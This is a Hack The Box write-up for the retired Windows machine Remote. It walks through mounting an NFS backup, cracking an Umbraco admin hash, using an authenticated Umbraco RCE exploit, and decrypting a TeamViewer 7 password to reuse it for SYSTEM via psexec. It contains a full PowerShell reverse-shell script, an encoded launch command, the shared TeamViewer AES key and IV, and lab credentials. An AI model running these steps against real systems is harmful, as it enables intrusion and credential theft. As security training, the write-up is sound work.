root@kali:~$ cat hackthebox/machines/remote.md
Hack The Box — Remote
Remote exposes an NFS backup with Umbraco credentials; authenticated CMS RCE yields an IIS shell, and TeamViewer password reuse leads to SYSTEM.

- Platform
- Hack The Box
- Type
- machine
- Difficulty
- Easy
- Operating system
- Windows
- Solved
- 1 Oct 2026
- Published
- 1 October 2026
This write-up documents an authorized Hack The Box lab. Remote was confirmed as Retired on 1 October 2026, and its HTB machine page offers an official write-up. HTB says machine walkthroughs become available after retirement. Flag values, personal VPN addresses, and unrelated secrets are omitted. Retired lab credentials are included where needed to reproduce the attack.
Executive summary
Remote exposes an NFS export containing a backup of its Umbraco website. The backup includes a SQL Server Compact database with an administrator email and a crackable SHA-1 password hash. After logging in to Umbraco 7.12.4, an authenticated XSLT code execution flaw provides commands as the IIS application pool identity. A reverse shell reveals TeamViewer 7 and its encrypted unattended-access password in the registry. TeamViewer 7 uses a recoverable, shared AES key; the decrypted password also works for the local Windows Administrator account. Impacket psexec then starts a service and returns a SYSTEM shell.
Target information
| Item | Value |
|---|---|
| Target | Remote |
| Platform | Hack The Box |
| Difficulty | Easy |
| Operating system | Windows |
| Publication policy | Retired; official write-up available on the HTB machine page |
| Solved | 1 October 2026 |
| Main weaknesses | World-readable NFS backup, Umbraco authenticated RCE, TeamViewer shared-key encryption, password reuse |
The target IP and your VPN IP change between HTB sessions. Substitute your own values throughout:
export TARGET_IP='<TARGET_IP>'
export LHOST='<YOUR_TUN0_IP>'
Enumeration
I scanned all TCP ports with service detection and Nmap’s default scripts:
nmap "$TARGET_IP" -T5 -sVC -p-
The scan found a Windows web server, anonymous FTP, SMB, WinRM, and NFS. The ports that shaped the attack path were:
21/tcp open ftp Microsoft ftpd (anonymous login allowed)
80/tcp open http Acme Widgets website
111/tcp open rpcbind
445/tcp open smb
2049/tcp open nfs
5985/tcp open http WinRM
The scan also listed Windows RPC ports, including 135, 139, 47001, and several high ports. Nmap reported a retransmission-cap warning with -T5, so I would rescan individual uncertain services with a gentler timing setting before treating them as closed. Here, rpcbind and NFS already provided a direct lead.
Findings
| Evidence | Why it mattered |
|---|---|
rpcbind and NFS on ports 111 and 2049 |
An exported filesystem might expose the website backup. |
HTTP title Home - Acme Widgets |
The web application gave context for files found in the export. |
| SMB on 445 | Later, valid local Administrator credentials could be tested with Impacket. |
| Anonymous FTP | Worth recording, but no FTP data was needed for this path. |
Mounting the NFS backup
showmount identified the exact exported directory:
showmount -e "$TARGET_IP"
Export list for <TARGET_IP>:
/site_backups (everyone)
I mounted it read-only and searched for Umbraco data:
mkdir -p nfs
sudo mount -t nfs -o vers=3,ro,nolock \
"$TARGET_IP":/site_backups ./nfs
mountpoint ./nfs
find ./nfs -type f \( -iname '*.sdf' -o -iname '*umbraco*' \) 2>/dev/null
The export was a website backup. It contained App_Data/Umbraco.sdf, Web.config, the Umbraco application files, and logs. The .sdf file was the most useful lead because it held the CMS user data. Web.config disclosed the installed version:
grep -i 'umbracoConfigurationStatus' ./nfs/Web.config
<add key="umbracoConfigurationStatus" value="7.12.4" />
Initial access
Recovering the Umbraco administrator password
I copied the database from the read-only mount and extracted printable strings. The single-byte search was useful here; searching for admin alone also returned large amounts of ordinary page content.
cp ./nfs/App_Data/Umbraco.sdf ./Umbraco.sdf
strings -a -e s ./Umbraco.sdf \
| grep -Eio '[[:alnum:]._%+-]+@[[:alnum:].-]+\.[[:alpha:]]{2,}|[0-9a-f]{40}' \
| sort -u
Among the database strings were admin@htb.local and a 40-character hex digest:
admin@htb.local
b8be16afba8c314ad33d812f22a04991b90e2aaa
I tested the digest as SHA-1 with Hashcat mode 100 and rockyou.txt. Hashcat’s example-hash table documents that mode.
printf '%s\n' 'b8be16afba8c314ad33d812f22a04991b90e2aaa' > umbraco.hash
hashcat -m 100 -a 0 umbraco.hash /usr/share/wordlists/rockyou.txt
hashcat -m 100 --show umbraco.hash
The recovered password was baconandcheese. I used admin@htb.local and that password to authenticate at http://<TARGET_IP>/umbraco/.
Umbraco 7.12.4 authenticated RCE
The installed version matches the authenticated XSLT code execution PoC, also tracked as CVE-2019-25137. It requires administrator authentication; the NFS-exposed credentials supplied that prerequisite. I used noraj’s argument-driven rewrite, which prints command output.
git clone https://github.com/noraj/Umbraco-RCE.git
cd Umbraco-RCE
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 exploit.py -u admin@htb.local -p 'baconandcheese' \
-i "http://$TARGET_IP" -c whoami
iis apppool\defaultapppool
That output confirmed command execution in the IIS application pool context. The flaw lets an authenticated administrator submit an XSLT stylesheet containing C# script to Umbraco’s XSLT visualizer. The application starts the supplied process and returns its standard output.
Obtaining a PowerShell shell
The PoC can run one command at a time. For local enumeration, I used it to launch a PowerShell reverse shell. The following script accepts commands over a TCP connection and returns their output:
cat > reverse.ps1 <<'EOF'
$client = New-Object System.Net.Sockets.TCPClient('VPN_IP_HERE',4444)
$stream = $client.GetStream()
[byte[]]$buffer = New-Object byte[] 65536
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
$command = [System.Text.Encoding]::UTF8.GetString($buffer,0,$count)
$result = (Invoke-Expression $command 2>&1 | Out-String)
$prompt = "PS $((Get-Location).Path)> "
$data = [System.Text.Encoding]::UTF8.GetBytes($result + $prompt)
$stream.Write($data,0,$data.Length)
}
$client.Close()
EOF
sed -i "s/VPN_IP_HERE/$LHOST/" reverse.ps1
ENC=$(iconv -f UTF-8 -t UTF-16LE reverse.ps1 | base64 -w 0)
PowerShell’s -EncodedCommand expects a UTF-16LE string encoded as Base64, which avoids nested quoting problems in the XSLT payload. Microsoft documents this encoding requirement.
In a second Kali terminal, I started a listener:
nc -lvnp 4444
Back in the terminal containing $ENC, I launched the payload:
python3 exploit.py -u admin@htb.local -p 'baconandcheese' \
-i "http://$TARGET_IP" -c powershell.exe \
-a "-NoProfile -EncodedCommand $ENC"
The exploit terminal remained busy because its process waited for the long-lived PowerShell command to finish. The listener received a connection from the target. whoami in that shell still returned iis apppool\defaultapppool.
User flag location
Only the Administrator and Public interactive profiles were present under C:\Users. The user flag was on the Public desktop:
Get-ChildItem C:\Users\Public\Desktop -Force
Get-Content C:\Users\Public\Desktop\user.txt
Submit the value to HTB; its contents are intentionally omitted here.
Privilege escalation
Identifying TeamViewer 7
The Public desktop contained a TeamViewer 7.lnk shortcut. Service enumeration confirmed that TeamViewer 7 was installed and that its service ran as LocalSystem:
Get-CimInstance Win32_Service |
Where-Object Name -match 'TeamViewer' |
Select-Object Name, PathName, StartName
Name TeamViewer7
PathName C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe
StartName LocalSystem
The TeamViewer registry value SecurityPasswordAES stores an encrypted static session password in versions older than 9, according to TeamViewer’s own clarification. I queried its 32-bit registry view:
reg.exe query "HKLM\SOFTWARE\TeamViewer\Version7" /v SecurityPasswordAES /reg:32
The output contained a REG_BINARY ciphertext. The equivalent explicit path in the 64-bit registry view was HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7.
Decrypting the saved password
The original TeamViewer research recovered the shared AES-128-CBC key and IV used for this legacy value. I copied the REG_BINARY hex to Kali and decrypted it locally. The script below strips valid PKCS#7 padding if present, then decodes the UTF-16LE plaintext:
pip install pycryptodome
cat > tv_decrypt.py <<'PY'
import sys
from Crypto.Cipher import AES
key = bytes.fromhex('0602000000a400005253413100040000')
iv = bytes.fromhex('0100010067244F436E6762F25EA8D704')
ciphertext = bytes.fromhex(sys.argv[1])
raw = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
pad = raw[-1]
if 1 <= pad <= 16 and raw.endswith(bytes([pad]) * pad):
raw = raw[:-pad]
print(raw.decode('utf-16le', errors='ignore').split('\x00')[0])
PY
python3 tv_decrypt.py '<REG_BINARY_HEX_FROM_TARGET>'
For this lab, the plaintext was !R3m0te!. Recovering a TeamViewer password did not by itself grant Windows administrator rights. The decisive misconfiguration was that the same password had been reused for the local Administrator account.
Administrator credentials to SYSTEM
I left the Python virtual environment before using Kali’s system Impacket installation, then connected over SMB. Omitting the password from the command makes psexec prompt for it:
deactivate
impacket-psexec "Administrator@$TARGET_IP"
I entered the recovered TeamViewer password at the prompt. Impacket found a writable ADMIN$ share, uploaded its temporary service executable, and started a service. Impacket’s psexec implementation uses this service-based execution path. Run whoami in the resulting Windows shell to verify the SYSTEM context, then read the Administrator desktop flag:
whoami
type C:\Users\Administrator\Desktop\root.txt
The root flag value is omitted. The root.txt file was on the Administrator desktop.
What did not work
- Mounting the literal placeholder
/EXPORT_PATHfailed with “No such file or directory.”showmount -esupplied the actual export,/site_backups. - Searching only for
adminin UTF-16LE strings produced extensive page-content matches. Extracting email-shaped strings and 40-character hex values from the single-byte strings exposed the useful database entries. - Running
impacket-psexecwhile a minimal Python virtual environment was active failed withModuleNotFoundError: No module named 'six'. Deactivating that environment restored Kali’s packaged Impacket dependencies.
Attack path
- Scan the target and enumerate the NFS export with
showmount. - Mount
/site_backupsread-only; copyUmbraco.sdfand identify the Umbraco administrator hash. - Crack the SHA-1 digest, authenticate to Umbraco 7.12.4, and use its authenticated XSLT RCE to obtain an IIS shell.
- Read the user flag from the Public desktop and enumerate TeamViewer 7.
- Decrypt TeamViewer’s registry password with the published AES key and IV.
- Reuse that password for the local Administrator account and run Impacket
psexecto reach SYSTEM.
Lessons learned
- A readable website backup can expose credentials even when the live application requires authentication. Restrict NFS exports and remove secrets from backup copies available to low-trust clients.
- Version and privilege requirements matter. The Umbraco RCE required administrator access, which the leaked database credential supplied.
- Reversible local password storage and password reuse created the escalation path. Use distinct credentials for remote-support tools and Windows accounts, and migrate legacy TeamViewer installations to supported versions.
- Confirm every trust-boundary crossing with evidence:
whoamiafter RCE, registry data for the TeamViewer credential, andwhoamiagain afterpsexec.